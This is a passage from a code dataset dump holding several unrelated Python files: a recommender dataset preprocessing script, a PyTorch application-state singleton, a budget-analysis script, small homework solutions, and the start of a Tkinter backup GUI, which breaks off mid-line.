","repo_name":"NVlabs/DiffRL","sub_path":"externals/rl_games/rl_games/algos_tf14/network_builder.py","file_name":"network_builder.py","file_ext":"py","file_size_in_byte":18263,"program_lang":"python","lang":"en","doc_type":"code","stars":208,"dataset":"github-code","pt":"77"} +{"seq_id":"15387765107","text":"from __future__ import print_function\n\nimport numpy as np\nimport pandas as pd\nimport random\nimport argparse\nimport os\nimport sys\nfrom shutil import copyfile\n\ndef command_parser():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-f', dest='filename', help='Input file', required=True, type=str)\n\tparser.add_argument('--columns', help='Order of the columns in the file (eg: \"uirt\"), u for user, i for item, t for timestamp, r for rating. If r is not present a default rating of 1 is given to all interaction. If t is not present interactions are assumed to be in chronological order. Extra columns are ignored. Default: uit', default=\"uit\", type=str)\n\tparser.add_argument('--sep', help='Separator between the column. If unspecified pandas will try to guess the separator', default=\"\\s+\", type=str)\n\tparser.add_argument('--min_user_activity', help='Users with less interactions than this will be removed from the dataset. Default: 2', default=2, type=int)\n\tparser.add_argument('--min_item_pop', help='Items with less interactions than this will be removed from the dataset. Default: 5', default=5, type=int)\n\tparser.add_argument('--val_size', help='Number of users to put in the validation set. If in (0,1) it will be interpreted as the fraction of total number of users. Default: 0.1', default=0.1, type=float)\n\tparser.add_argument('--test_size', help='Number of users to put in the test set. If in (0,1) it will be interpreted as the fraction of total number of users. Default: 0.1', default=0.1, type=float)\n\tparser.add_argument('--seed', help='Seed for the random train/val/test split', default=1, type=int)\n\n\targs = parser.parse_args()\n\targs.dirname = os.path.dirname(os.path.abspath(args.filename)) + \"/\"\n\treturn args\n\ndef warn_user(dirname):\n\t'''Ask user if he's sure to create files in that directory.\n\t'''\n\tprint('This program will create a lot of files and directories in ' + dirname)\n\tanswer = raw_input('Are you sure that you want to do that ? [y/n]')\n\tif answer != \"y\":\n\t\tsys.exit(0)\n\ndef create_dirs(dirname):\n\tif not os.path.exists(dirname + \"data\"):\n\t\tos.makedirs(dirname + \"data\")\n\n\tif not os.path.exists(dirname + \"models\"):\n\t\tos.makedirs(dirname + \"models\")\n\n\tif not os.path.exists(dirname + \"results\"):\n\t\tos.makedirs(dirname + \"results\")\n\ndef load_data(filename, columns, separator):\n\t''' Load the data from filename and sort it according to timestamp.\n\tReturns a dataframe with 3 columns: user_id, item_id, rating\n\t'''\n\n\tprint('Load data...')\n\tdata = pd.read_csv(filename, sep=separator, names=list(columns), index_col=False, usecols=range(len(columns)))\n\n\tif 'r' not in columns:\n\t\t# Add a column of default ratings\n\t\tdata['r'] = 1\n\n\tif 't' in columns:\n\t\t# sort according to the timestamp column\n\t\tif data['t'].dtype == np.int64: # probably a timestamp\n\t\t\tdata['t'] = pd.to_datetime(data['t'], unit='s')\n\t\telse:\n\t\t\tdata['t'] = pd.to_datetime(data['t'])\n\t\tprint('Sort data in chronological order...')\n\t\tdata.sort_values('t', inplace=True)\n\n\treturn data\n\ndef remove_rare_elements(data, min_user_activity, min_item_popularity):\n\t'''Removes user and items that appears in too few interactions.\n\tmin_user_activity is the minimum number of interaction that a user should have.\n\tmin_item_popularity is the minimum number of interaction that an item should have.\n\tNB: the constraint on item might not be strictly satisfied because rare users and items are removed in alternance, \n\tand the last removal of inactive users might create new rare items.\n\t'''\n\t\n\tprint('Remove inactive users and rare items...')\n\n\t#Remove inactive users a first time\n\tuser_activity = data.groupby('u').size()\n\tdata = data[np.in1d(data.u, user_activity[user_activity >= min_user_activity].index)]\n\t#Remove unpopular items\n\titem_popularity = data.groupby('i').size()\n\tdata = data[np.in1d(data.i, item_popularity[item_popularity >= min_item_popularity].index)]\n\t#Remove users that might have passed below the activity threshold due to the removal of rare items\n\tuser_activity = data.groupby('u').size()\n\tdata = data[np.in1d(data.u, user_activity[user_activity >= min_user_activity].index)]\n\n\treturn data\n\ndef save_index_mapping(data, separator, dirname):\n\t''' Save the mapping of original user and item ids to numerical consecutive ids in dirname.\n\tNB: some users and items might have been removed in previous steps and will therefore not appear in the mapping.\n\t'''\n\t\n\tseparator = \"\\t\"\n\n\n\t# Pandas categorical type will create the numerical ids we want\n\tprint('Map original users and items ids to consecutive numerical ids...')\n\tdata['u_original'] = data['u'].astype('category')\n\tdata['i_original'] = data['i'].astype('category')\n\tdata['u'] = data['u_original'].cat.codes\n\tdata['i'] = data['i_original'].cat.codes\n\n\tprint('Save ids mapping to file...')\n\tuser_mapping = pd.DataFrame({'original_id' : data['u_original'], 'new_id': data['u']})\n\tuser_mapping.sort_values('original_id', inplace=True)\n\tuser_mapping.drop_duplicates(subset='original_id', inplace=True)\n\tuser_mapping.to_csv(dirname+\"data/user_id_mapping\", sep=separator, index=False)\n\n\titem_mapping = pd.DataFrame({'original_id' : data['i_original'], 'new_id': data['i']})\n\titem_mapping.sort_values('original_id', inplace=True)\n\titem_mapping.drop_duplicates(subset='original_id', inplace=True)\n\titem_mapping.to_csv(dirname+\"data/item_id_mapping\", sep=separator, index=False)\n\n\treturn data\n\ndef split_data(data, nb_val_users, nb_test_users, dirname):\n\t'''Splits the data set into training, validation and test sets.\n\tEach user is in one and only one set.\n\tnb_val_users is the number of users to put in the validation set.\n\tnb_test_users is the number of users to put in the test set.\n\t'''\n\tnb_users = data['u'].nunique()\n\n\t# check if nb_val_user is specified as a fraction\n\tif nb_val_users < 1:\n\t\tnb_val_users = round(nb_val_users * nb_users)\n\tif nb_test_users < 1:\n\t\tnb_test_users = round(nb_test_users * nb_users)\n\tnb_test_users = int(nb_test_users)\n\tnb_val_users = int(nb_val_users)\n\n\tif nb_users <= nb_val_users+nb_test_users:\n\t\traise ValueError('Not enough users in the dataset: choose less users for validation and test splits')\n\n\tdef extract_n_users(df, n):\n\t\tusers_ids = np.random.choice(df['u'].unique(), n)\n\t\tn_set = df[df['u'].isin(users_ids)]\n\t\tremain_set = df.drop(n_set.index)\n\t\treturn n_set, remain_set\n\n\tprint('Split data into training, validation and test sets...')\n\ttest_set, tmp_set = extract_n_users(data, nb_test_users)\n\tval_set, train_set = extract_n_users(tmp_set, nb_val_users)\n\n\tprint('Save training, validation and test sets in the triplets format...')\n\ttrain_set.to_csv(dirname + \"data/train_set_triplets\", sep=\"\\t\", columns=['u', 'i', 'r'], index=False, header=False)\n\tval_set.to_csv(dirname + \"data/val_set_triplets\", sep=\"\\t\", columns=['u', 'i', 'r'], index=False, header=False)\n\ttest_set.to_csv(dirname + \"data/test_set_triplets\", sep=\"\\t\", columns=['u', 'i', 'r'], index=False, header=False)\n\n\treturn train_set, val_set, test_set\n\ndef gen_sequences(data, half=False):\n\t'''Generates sequences of user actions from data.\n\teach sequence has the format [user_id, first_item_id, first_item_rating, 2nd_item_id, 2nd_item_rating, ...].\n\tIf half is True, cut the sequences to half their true length (useful to produce the extended training set).\n\t'''\n\tdata = data.sort_values('u', kind=\"mergesort\") # Mergesort is stable and keeps the time ordering\n\tseq = []\n\tprev_id = -1\n\tfor u, i, r in zip(data['u'], data['i'], data['r']):\n\t\tif u != prev_id:\n\t\t\tif len(seq) > 3:\n\t\t\t\tif half:\n\t\t\t\t\tseq = seq[:1+2*int((len(seq) - 1)/4)]\n\t\t\t\tyield seq\n\t\t\tprev_id = u\n\t\t\tseq = [u]\n\t\tseq.extend([i,r])\n\tif half:\n\t\tseq = seq[:1+2*int((len(seq) - 1)/4)]\n\tyield seq\n\ndef make_sequence_format(train_set, val_set, test_set, dirname):\n\t'''Convert the train/validation/test sets in the sequence format and save them.\n\tAlso create the extended training sequences, which countains the first half of the sequences of users in the validation and test sets.\n\t'''\n\n\tprint('Save the training set in the sequences format...')\n\twith open(dirname+\"data/train_set_sequences\", \"w\") as f:\n\t\tfor s in gen_sequences(train_set):\n\t\t\tf.write(' '.join(map(str, s)) + \"\\n\")\n\n\tprint('Save the validation set in the sequences format...')\n\twith open(dirname+\"data/val_set_sequences\", \"w\") as f:\n\t\tfor s in gen_sequences(val_set):\n\t\t\tf.write(' '.join(map(str, s)) + \"\\n\")\n\n\tprint('Save the test set in the sequences format...')\n\twith open(dirname+\"data/test_set_sequences\", \"w\") as f:\n\t\tfor s in gen_sequences(test_set):\n\t\t\tf.write(' '.join(map(str, s)) + \"\\n\")\n\n\t# sequences+ contains all the sequences of train_set_sequences plus half the sequences of val and test sets\n\tprint('Save the extended training set in the sequences format...')\n\tcopyfile(dirname+\"data/train_set_sequences\", dirname+\"data/train_set_sequences+\")\n\twith open(dirname+\"data/train_set_sequences+\", \"a\") as f:\n\t\tfor s in gen_sequences(val_set, half=True):\n\t\t\tf.write(' '.join(map(str, s)) + \"\\n\")\n\t\tfor s in gen_sequences(test_set, half=True):\n\t\t\tf.write(' '.join(map(str, s)) + \"\\n\")\n\ndef save_data_stats(data, train_set, val_set, test_set, dirname):\n\tprint('Save stats...')\n\n\tdef _get_stats(df):\n\t\treturn \"\\t\".join(map(str, [df['u'].nunique(), df['i'].nunique(), len(df.index), df.groupby('u').size().max()]))\n\n\twith open(dirname+\"data/stats\", \"w\") as f:\n\t\tf.write(\"set\\tn_users\\tn_items\\tn_interactions\\tlongest_sequence\\n\")\n\t\tf.write(\"Full\\t\"+ _get_stats(data) + \"\\n\") \n\t\tf.write(\"Train\\t\"+ _get_stats(train_set) + \"\\n\") \n\t\tf.write(\"Val\\t\"+ _get_stats(val_set) + \"\\n\") \n\t\tf.write(\"Test\\t\"+ _get_stats(test_set) + \"\\n\") \n\ndef make_readme(dirname, val_set, test_set):\n\tdata_readme = '''The following files were automatically generated by preprocess.py\n\n\tuser_id_mapping\n\t\tmapping between the users ids in the original dataset and the new users ids.\n\t\tthe first column contains the new id and the second the original id.\n\t\tInactive users might have been deleted from the original, and they will therefore not appear in the id mapping.\n\n\titem_id_mapping\n\t\tIdem for item ids.\n\n\ttrain_set_triplets\n\t\tTraining set in the triplets format.\n\t\tEach line is a user item interaction in the form (user_id, item_id, rating). \n\t\tInteractions are listed in chronological order.\n\n\ttrain_set_sequences\n\t\tTraining set in the sequence format.\n\t\tEach line contains all the interactions of a user in the form (user_id, first_item_id, first_rating, 2nd_item_id, 2nd_rating, ...).\n\n\ttrain_set_sequences+\n\t\tExtended training set in the sequence format.\n\t\tThe extended training set contains all the training set plus the first half of the interactions of each users in the validation and testing set.\n\n\tval_set_triplets\n\t\tValidation set in the triplets format\n\n\tval_set_triplets\n\t\tValidation set in the sequence format\n\n\ttest_set_triplets\n\t\tTest set in the triplets format\n\n\ttest_set_triplets\n\t\tTest set in the sequence format\n\n\tstats\n\t\tContains some informations about the dataset.\n\n\tThe training, validation and test sets are obtain by randomly partitioning the users and all their interactions into 3 sets.\n\tThe validation set contains {n_val} users, the test_set {n_test} users and the train set all the other users.\n\n\t'''.format(n_val=str(val_set['u'].nunique()), n_test=str(test_set['u'].nunique()))\n\n\tresults_readme = '''The format of the results file is the following\n\tEach line correspond to one model, with the fields being:\n\t\tNumber of epochs\n\t\tprecision\n\t\tsps\n\t\tuser coverage\n\t\tnumber of unique items in the test set\n\t\tnumber of unique items in the recommendations\n\t\tnumber of unique items in the succesful recommendations\n\t\tnumber of unique items in the short-term test set (when the goal is to predict precisely the next item)\n\t\tnumber of unique items in the successful short-term recommendations\n\t\trecall\n\t\tNDCG\n\tNB: all the metrics are computed \"@10\"\n\t'''\n\n\twith open(dirname+\"data/README\", \"w\") as f: \n\t\tf.write(data_readme)\n\twith open(dirname+\"results/README\", \"w\") as f: \n\t\tf.write(results_readme)\n\ndef main():\n\t\n\targs = command_parser()\n\tnp.random.seed(seed=args.seed)\n\twarn_user(args.dirname)\n\tcreate_dirs(args.dirname)\n\tdata = load_data(args.filename, args.columns, args.sep)\n\tdata = remove_rare_elements(data, args.min_user_activity, args.min_item_pop)\n\tdata = save_index_mapping(data, args.sep, args.dirname)\n\ttrain_set, val_set, test_set = split_data(data, args.val_size, args.test_size, args.dirname)\n\tmake_sequence_format(train_set, val_set, test_set, args.dirname)\n\tsave_data_stats(data, train_set, val_set, test_set, args.dirname)\n\tmake_readme(args.dirname, val_set, test_set)\n\n\tprint('Data ready!')\n\t\n\tprint(data.head(10))\n\nif __name__ == '__main__':\n main()","repo_name":"rdevooght/sequence-based-recommendations","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":12568,"program_lang":"python","lang":"en","doc_type":"code","stars":368,"dataset":"github-code","pt":"77"} +{"seq_id":"1249657681","text":"# 4)Требуется посчитать сумму чётных чисел, расположенных между числами 1 и N включительно.\nprint ('Введите N: ')\nn = int(input())\ni = 1\nres = 0\nwhile (i <= n):\n if i % 2 == 0:\n res += i\n i += 1\nprint(res)\n","repo_name":"StrangeresAnn/HomeWorkPython","sub_path":"Ex_2/Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71157267449","text":"__author__ = \"Alexis Asseman, Tomasz Kornuta\"\n\nimport torch\n\nfrom os import path\n\nfrom ptp.utils.singleton import SingletonMetaClass\n\n\nclass AppState(metaclass=SingletonMetaClass):\n \"\"\"\n Represents the application state. A singleton that can be accessed by calling:\n\n >>> app_state = AppState()\n\n Contains global variables that can be accessed with standard setted/getter methods:\n\n >>> app_state[\"test1\"] = 1 \n >>> app_state[\"test2\"] = 2\n >>> print(app_state[\"test1\"])\n\n .. warning::\n It is assumed that global variables are immutable, i.e. once a variable is set, it cannot be changed \n\n >>> app_state[\"test1\"] = 3 # Raises AtributeError\n\n Additionally, it stores all properly parsed commandline arguments.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Constructor. Initializes dictionary with global variables, sets CPU types as default.\n\n \"\"\"\n # Empty commandline arguments.\n self.args = None\n\n # Field storing global variables.\n self.__globals = dict()\n\n # Get absolute path to configs from \"~/./ptp/configs\".\n ptp_path = path.expanduser(\"~/.ptp/\")\n with open(path.join(ptp_path, \"config.txt\")) as file:\n self.absolute_config_path = file.readline()\n\n # Initialize logger logfile (as empty for now).\n self.log_file = None\n self.logger = None\n # Set default path to current dir.\n self.log_dir = path.expanduser(\".\")\n\n # Set CPU types as default.\n self.set_cpu_types()\n self.use_gpu = False\n self.use_dataparallel = False\n self.device = torch.device('cpu')\n\n # Reset global counters.\n self.epoch = None # Processor is not using the notion of epoch.\n self.episode = 0\n\n\n def set_types(self):\n \"\"\"\n Enables computations on CUDA if GPU is available.\n Sets the default data types.\n \"\"\"\n # Determine if GPU/CUDA is available.\n if torch.cuda.is_available() and self.args.use_gpu:\n self.logger.info('Running computations on GPU using CUDA')\n self.set_gpu_types()\n # Use GPU.\n self.use_gpu = True\n self.device = torch.device('cuda')\n # Use DataParallel if more than 1 device is available.\n if torch.cuda.device_count() > 1:\n self.use_dataparallel = True\n elif self.args.use_gpu:\n self.logger.warning('GPU utilization is demanded but there are no available GPU devices! Using CPUs instead')\n else:\n self.logger.info('GPU utilization is disabled, performing all computations on CPUs')\n\n\n def set_cpu_types(self):\n \"\"\"\n Sets all tensor types to CPU data types.\n \"\"\"\n self.FloatTensor = torch.FloatTensor\n self.DoubleTensor = torch.DoubleTensor\n self.HalfTensor = torch.HalfTensor\n self.ByteTensor = torch.ByteTensor\n self.CharTensor = torch.CharTensor\n self.ShortTensor = torch.ShortTensor\n self.IntTensor = torch.IntTensor\n self.LongTensor = torch.LongTensor\n\n\n def set_gpu_types(self):\n \"\"\"\n Sets all tensor types to GPU/CUDA data types.\n \"\"\"\n self.FloatTensor = torch.cuda.FloatTensor\n self.DoubleTensor = torch.cuda.DoubleTensor\n self.HalfTensor = torch.cuda.HalfTensor\n self.ByteTensor = torch.cuda.ByteTensor\n self.CharTensor = torch.cuda.CharTensor\n self.ShortTensor = torch.cuda.ShortTensor\n self.IntTensor = torch.cuda.IntTensor\n self.LongTensor = torch.cuda.LongTensor\n\n\n def globalkeys(self):\n \"\"\"\n Yields global keys.\n \"\"\"\n for key in self.__globals.keys():\n yield key\n\n\n def globalitems(self):\n \"\"\"\n Yields global keys.\n \"\"\"\n for key,value in self.__globals.items():\n yield key,value\n\n\n def __setitem__(self, key, value, override=False):\n \"\"\"\n Adds global variable. \n\n :param key: Dict Key.\n\n :param value: Associated value.\n\n :param override: Indicate whether or not it is authorized to override the existing key.\\\n Default: ``False``.\n :type override: bool\n\n .. warning::\n Once global variable is set, its value cannot be changed (it becomes immutable).\n \"\"\"\n if not override and key in self.__globals.keys():\n if (self.__globals[key] != value):\n raise KeyError(\"Global key '{}' already exists and has different value (existing {} vs received {})!\".format(key, self.__globals[key], value))\n #msg = 'Cannot add or modify key \"{}\" as it is already present in global variables'.format(key)\n #raise KeyError(msg)\n else:\n self.__globals[key] = value\n\n\n def __getitem__(self, key):\n \"\"\"\n Value getter function.\n\n :param key: Dict Key.\n\n :return: Associated Value.\n \"\"\"\n if key not in self.__globals.keys():\n msg = \"Key '{}' not present in global variables\".format(key)\n raise KeyError(msg)\n else:\n return self.__globals[key]\n","repo_name":"IBM/pytorchpipe","sub_path":"ptp/utils/app_state.py","file_name":"app_state.py","file_ext":"py","file_size_in_byte":5210,"program_lang":"python","lang":"en","doc_type":"code","stars":224,"dataset":"github-code","pt":"77"} +{"seq_id":"18783075032","text":"from sys import stdin\ninput = stdin.readline\nn,m = map(int, input().split())\nvideos = list(map(int,input().rstrip().split()))\nstart = max(videos)\nend = sum(videos)\n\nwhile start <= end:\n mid = (start+end)//2\n cnt = 1\n total = 0\n for i in range(n):\n if total + videos[i] <= mid:\n total += videos[i]\n else:\n cnt += 1\n total = videos[i]\n ","repo_name":"baedonguri/JungleAlgorithm","sub_path":"TODO100/15_기타레슨.py","file_name":"15_기타레슨.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"45802650914","text":"# PyBank\n\n# Import modules\nimport os\nimport csv\n\n# Define csv file path\nbudget_csv_path = os.path.join(\"Resources\", \"budget_data.csv\")\n\n# Open and read csv with defined delimiter\nwith open(budget_csv_path, 'r') as budget_file:\n budget_csv = csv.reader(budget_file, delimiter=\",\")\n\n # Read first row as header\n header = next(budget_csv)\n\n # Define months and profit_losses variables as lists\n months = []\n profit_losses = []\n\n # Set variables equal to 0 at start\n month_count = 0\n pl_net = 0\n pl_net_loop = 0\n pl_chg_net = 0\n pl_chg_loop = 0\n pl_chg_avg = 0\n pl_change = 0\n pl_chg_max = 0\n pl_chg_min = 0\n pl_chg_max_index = 0\n pl_chg_min_index = 0\n\n # Read each row of dataset csv and add to each assigned value\n # Assign column 0 as month values and column 1 as profitloss values\n # Add each row of month values from dataset to months list\n # Add each row of profitloss values from dataset to profit_losses list\n for row in budget_csv:\n month = row[0]\n profitloss = row[1]\n months.append(month)\n profit_losses.append(profitloss)\n\n # Calculate the total number of unique months by finding length of set of months list\n month_count = len(set(months))\n # Test\n # print(month_count)\n\n # Loop to calculate net total amount of \"Profit/Losses\" over entire period\n for pl_net_loop in range(month_count):\n pl_net = pl_net + int(profit_losses[pl_net_loop])\n # Test print with comma formatting\n # print(f\"${pl_net:,}\")\n\n # Calculate total changes in \"Profit/Losses\" over the entire period\n # Subtract 1 from month_count range so output so list index is not out of range (no change in first month)\n for pl_chg_loop in range(month_count - 1):\n pl_chg_net = pl_chg_net + (int(profit_losses[pl_chg_loop + 1]) - int(profit_losses[pl_chg_loop]))\n\n # Calculate average of changes over the entire period\n # Subtract 1 from month_count when finding average as well since there is no change in first month\n pl_chg_avg = (pl_chg_net / (month_count - 1))\n # Test print with comma formatting rounded to 2 decimal places\n # print(f\"${pl_avg_change:,.2f}\")\n\n # Calculate monthly \"Profit/Losses\" change\n pl_change = int(profit_losses[pl_chg_loop + 1]) - int(profit_losses[pl_chg_loop])\n\n # Find greatest increase in profits over the entire period\n # Need to add 1 to pl_chg_max_index because index will produce change start month but change is measured by end month\n if (pl_change > pl_chg_max):\n pl_chg_max = pl_change\n pl_chg_max_index = (pl_chg_loop + 1)\n else:\n pl_chg_max = pl_chg_max\n # Test\n # print(f\"{months[pl_chg_max_index]} (${pl_chg_max:,})\")\n\n # Find greatest decrease in losses over the entire period\n # Need to add 1 to pl_chg_min_index because index will produce change start month but change is measured by end month\n if (pl_change < pl_chg_min):\n pl_chg_min = pl_change\n pl_chg_min_index = (pl_chg_loop + 1)\n else:\n pl_chg_min = pl_chg_min\n # Test\n # print(f\"{months[pl_chg_min_index]} (${pl_chg_min:,})\")\n\n# Print analysis results to terminal\nanalysis_results = (f\"\\\nFinancial Analysis\\n\\\n----------------------------\\n\\\nTotal Months: {month_count}\\n\\\nTotal: ${pl_net:,}\\n\\\nAverage Change: ${pl_chg_avg:,.2f}\\n\\\nGreatest Increase in Profits: {months[pl_chg_max_index]} (${pl_chg_max:,})\\n\\\nGreatest Decrease in Profits: {months[pl_chg_min_index]} (${pl_chg_min:,})\\n\"\n)\n\nprint(analysis_results)\n\n# Export analysis results to text file\noutput_path = os.path.join(\"PyBank_Analysis\", \"PyBank_analysis_results.txt\")\nwith open(output_path, \"w\") as PyBank_txt:\n PyBank_txt.write(analysis_results)","repo_name":"junettel/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"74954200562","text":"import webbrowser\nfrom datetime import datetime\nfrom pathlib import Path\nfrom tkinter import (BOTTOM, DISABLED, END, NORMAL, SUNKEN, BooleanVar,\n Listbox, Menu, Tk, W, X, filedialog, messagebox,\n simpledialog)\nfrom tkinter.ttk import Button, Checkbutton, Label, Progressbar\n\nfrom .. import __version__\nfrom ..core.config import Config_Handler, user_config_filepath\nfrom ..core.const import ERROR_TYPES, UPDATE_URL\nfrom .backup_thread import BackupThread\nfrom .simpledialog_extra import ask_combobox\n\n\nclass TkApp(Tk):\n \"\"\"\n The main Tk class for the gui of simplebackup\n \"\"\"\n def __init__(self, **kwargs):\n super().__init__()\n title = \"Simple Backup | V\" + __version__\n self.wm_title(title)\n self.protocol(\"WM_DELETE_WINDOW\", self.on_closing)\n\n self.__thread = None\n self.__files_found = 0\n self.__files_copied = 0\n\n config_fn = kwargs.get(\"config_fn\", user_config_filepath())\n self.__app_config = Config_Handler(config_fn)\n self.__curr_config = self.__app_config.default_config_i\n\n self.__menu = Menu(self)\n self.__menu_file = Menu(self.__menu, tearoff=0)\n self.__menu_file.add_command(label=\"Quit\", command=self.quit)\n self.__menu_config = Menu(self.__menu, tearoff=0)\n self.__menu_config.add_command(label=\"New\", command=self.new_config)\n self.__menu_config.add_command(label=\"Load\", command=self.switch_config)\n self.__menu_config.add_command(label=\"Change Default\", command=self.change_default_config)\n self.__menu_config.add_command(label=\"Rename Current\", command=self.rename_curr_conf)\n self.__menu_config.add_separator()\n self.__menu_config.add_command(label=\"Delete Current\", command=self.delete_current_config)\n self.__menu_config.add_command(label=\"Delete All\", command=self.reset_config)\n self.__menu_help = Menu(self.__menu, tearoff=0)\n self.__menu_help.add_command(label=\"Check for Updates\", command=self.show_update_popup)\n self.__menu_help.add_command(label=\"About\", command=self.show_about_popup)\n self.__menu.add_cascade(label=\"File\", menu=self.__menu_file)\n self.__menu.add_cascade(label=\"Config\", menu=self.__menu_config)\n self.__menu.add_cascade(label=\"Help\", menu=self.__menu_help)\n\n self.__title_l = Label(self, text=title, font=(16))\n self.__curr_config_name_l = Label(self)\n self.__last_backup_l = Label(self)\n self.__set_versions_to_keep = Button(self, text=\"Set Versions To Keep\", command=self.update_versions_to_keep)\n self.__versions_to_keep_l = Label(self)\n self.__inc_folder_bnt = Button(self, text=\"Include Another Folder\", command=self.add_included_folder)\n self.__included_folders_lb = Listbox(self, height=4)\n self.__included_folders_lb.bind(\"<>\", self.remove_selected_included_folder)\n self.__included_folders_lb.bind('', self.deselect_included_folder)\n self.__excl_folder_bnt = Button(self, text=\"Exclude Another Folder\", command=self.add_excluded_folder)\n self.__excluded_folders_lb = Listbox(self, height=4)\n self.__excluded_folders_lb.bind(\"<>\", self.remove_selected_excluded_folder)\n self.__excluded_folders_lb.bind('', self.deselect_excluded_folder)\n self.__backup_to_bnt = Button(self, text=\"Backup Folder\", command=self.set_backup_folder)\n self.__backup_folder_l = Label(self)\n self.__use_tar_l = Label(self, text=\"Use Tar\")\n self.__use_tar_var = BooleanVar(self)\n self.__use_tar_var.trace_add(\"write\", self.use_tar_changed)\n self.__use_tar = Checkbutton(self, variable=self.__use_tar_var)\n self.__backup_start_bnt = Button(self, text=\"Start Backup\", command=self.start_backup)\n self.__progress = Progressbar(self)\n self.__statusbar = Label(self, text=\"ok\", relief=SUNKEN, anchor=W)\n self._load_display()\n self._layout()\n\n if self.__app_config.show_help:\n self.show_help_popup()\n\n def on_closing(self):\n \"\"\"\n called on window close\n \"\"\"\n if self.__files_found != self.__files_copied:\n if messagebox.askyesno(\"Backup Running\", \"Do you want to stop the backup?\"):\n self.destroy()\n else:\n self.destroy()\n\n def _load_display(self):\n \"\"\"\n load the widgets with data from the current backup config,\n should be run after loading a config from file and at app launch\n \"\"\"\n self.__versions_to_keep = self.__app_config.get_versions_to_keep(self.__curr_config)\n self.__included_folders = self.__app_config.get_included_folders(self.__curr_config)\n self.__excluded_folders = self.__app_config.get_excluded_folders(self.__curr_config)\n self.__backup_location = self.__app_config.get_backup_path(self.__curr_config)\n\n curr_conf_name = self.__app_config.get_config_name(self.__curr_config)\n self.__curr_config_name_l.config(text=f\"Config Name: {curr_conf_name}\")\n self.__last_backup_l.config(text=f\"Last Known Backup: {self.__app_config.get_human_last_backup(self.__curr_config)}\")\n self.__versions_to_keep_l.config(text=self.__versions_to_keep)\n self.__included_folders_lb.delete(0, END)\n self.__included_folders_lb.insert(0, *self.__included_folders)\n self.__excluded_folders_lb.delete(0, END)\n self.__excluded_folders_lb.insert(0, *self.__excluded_folders)\n self.__backup_folder_l.config(text=str(self.__backup_location))\n self.__use_tar_var.set(self.__app_config.get_use_tar(self.__curr_config))\n\n def switch_config(self):\n \"\"\"\n switches what config to use for backup,\n asks the user for a config to load,\n then loads the display\n \"\"\"\n next_combo = ask_combobox(\"Load Config\", \"Config Name\", self.__app_config.get_config_names())\n if next_combo != None:\n self.__curr_config = next_combo\n self._load_display()\n\n def change_default_config(self):\n \"\"\"\n switches what config to use for the default backup,\n asks the user for a config to load\n \"\"\"\n next_combo = ask_combobox(\"Default Config\", \"Config Name\", self.__app_config.get_config_names())\n if next_combo != None:\n self.__app_config.default_config_i = next_combo\n\n def rename_curr_conf(self):\n \"\"\"\n rename a existing config,\n will ask the user in a popup string input\n \"\"\"\n new_name = simpledialog.askstring(\"Rename Config\", \"New Name\")\n if new_name:\n self.__app_config.rename_config(self.__curr_config, new_name)\n self._load_display()\n\n def new_config(self):\n \"\"\"\n creates a new empty backup config,\n asks the user for config name\n \"\"\"\n name = simpledialog.askstring(\"New Config\", \"Config Name\")\n if name:\n self.__app_config.create_config(name)\n\n def delete_current_config(self):\n \"\"\"\n deletes the current selected config, asks the user to confirm\n \"\"\"\n if messagebox.askyesno(\"Confirm Delete\", \"Are you sure you want to delete the current config?\"):\n self.__app_config.remove_config(self.__curr_config)\n self.__curr_config = self.__app_config.default_config_i\n self._load_display()\n\n def reset_config(self):\n \"\"\"\n resets all the user configs, asks the user to confirm\n \"\"\"\n if messagebox.askyesno(\"Confirm Reset\", \"Are you sure you want to reset the all configurations?\"):\n self.__app_config.reset_config()\n self.__curr_config = self.__app_config.default_config_i\n self._load_display()\n\n def use_tar_changed(self, *args):\n \"\"\"\n called each time the __use_tar_var is called\n \"\"\"\n self.__app_config.set_use_tar(self.__curr_config, self.__use_tar_var.get())\n\n def update_versions_to_keep(self):\n \"\"\"\n update the number of versions to keep,\n asks the user for a integer\n \"\"\"\n new_val = simpledialog.askinteger(\"Versions To Keep\", \"How many backups do you want to keep\", minvalue=0)\n if new_val != self.__versions_to_keep and new_val != None:\n self.__versions_to_keep = new_val\n self.__app_config.set_versions_to_keep(self.__curr_config, self.__versions_to_keep)\n self.__versions_to_keep_l.config(text=self.__versions_to_keep)\n\n def deselect_included_folder(self, *args):\n \"\"\"\n deselects the selected element in included folder\n \"\"\"\n self.__included_folders_lb.selection_clear(0, END)\n\n def deselect_excluded_folder(self, *args):\n \"\"\"\n deselects the selected element in excluded folder\n \"\"\"\n self.__excluded_folders_lb.selection_clear(0, END)\n\n def add_included_folder(self):\n \"\"\"\n add a folder to include in the backup,\n will ask user for a directory\n \"\"\"\n folder = filedialog.askdirectory(initialdir=\"/\", title=\"Select Folder To Backup\")\n if folder:\n folder_path = Path(folder)\n if folder_path != self.__backup_location:\n self.__included_folders.append(folder_path)\n self.__included_folders_lb.insert(END, folder_path)\n self.__app_config.set_included_folders(self.__curr_config, self.__included_folders)\n else:\n messagebox.showwarning(\n title=\"Folder Same As Backup Path\",\n message=\"You selected a folder that was the same as the backup path!\")\n\n def remove_selected_included_folder(self, *args):\n \"\"\"\n remove the currently selected\n item in the included folders ListBox,\n will ask the user to confirm\n \"\"\"\n curr_selection = self.__included_folders_lb.curselection()\n # check if there is a selection\n if curr_selection:\n if messagebox.askyesno(\"Confirm Delete\", \"Are you want to delete this folder?\"):\n index_to_del = curr_selection[0]\n self.__included_folders.pop(index_to_del)\n self.__app_config.set_included_folders(self.__curr_config, self.__included_folders)\n self.__included_folders_lb.delete(index_to_del)\n self.deselect_included_folder()\n\n def add_excluded_folder(self):\n \"\"\"\n add a folder to exclude in the backup,\n will ask user for a directory\n \"\"\"\n folder = filedialog.askdirectory(initialdir=\"/\", title=\"Select Folder To Exclude\")\n if folder:\n folder_path = Path(folder)\n self.__excluded_folders.append(folder_path)\n self.__excluded_folders_lb.insert(END, folder_path)\n self.__app_config.set_excluded_folders(self.__curr_config, 